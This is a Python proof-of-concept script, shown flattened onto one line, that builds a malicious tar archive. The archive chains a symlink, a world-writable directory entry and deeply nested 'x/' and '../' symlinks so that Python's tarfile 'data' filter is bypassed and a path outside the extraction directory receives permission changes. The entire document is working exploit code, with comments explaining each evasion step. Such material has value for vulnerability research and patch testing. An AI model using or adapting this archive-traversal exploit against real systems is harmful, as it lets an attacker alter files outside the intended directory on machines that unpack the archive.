#!/usr/bin/python3 import argparse import os import tarfile ap = arparse = argparse.ArgumentParser() ap.add_argument('tarpath', metavar='TARBALL') ap.add_argument('target', metavar='TARGET') opts = ap.parse_args() target = os.path.abspath(opts.target) with tarfile.open(opts.tarpath, 'w') as tar: def addmemb(name, **kwargs): memb = tarfile.TarInfo(name) for k, v in kwargs.items(): getattr(memb, k) setattr(memb, k, v) tar.addfile(memb) # lrw-r--r-- pwn -> . addmemb('pwn', type=tarfile.SYMTYPE, linkname='.') # "pwn" is a very innocent symlink. # drwxrwxrwx pwn/ addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777) # But now "pwn" is also a directory, so it's scheduled to have its # metadata updated later. # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target)) # Oops, "pwn" is not so innocent any more. # But technically it's still pointing inside the dest dir, # so it doesn't upset the "data" filter. # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/.. addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98)) # The newly created symlink symlink points to the dest dir, # so it's OK for the "data" filter. # But now "pwn" points to the target (outside the dest dir).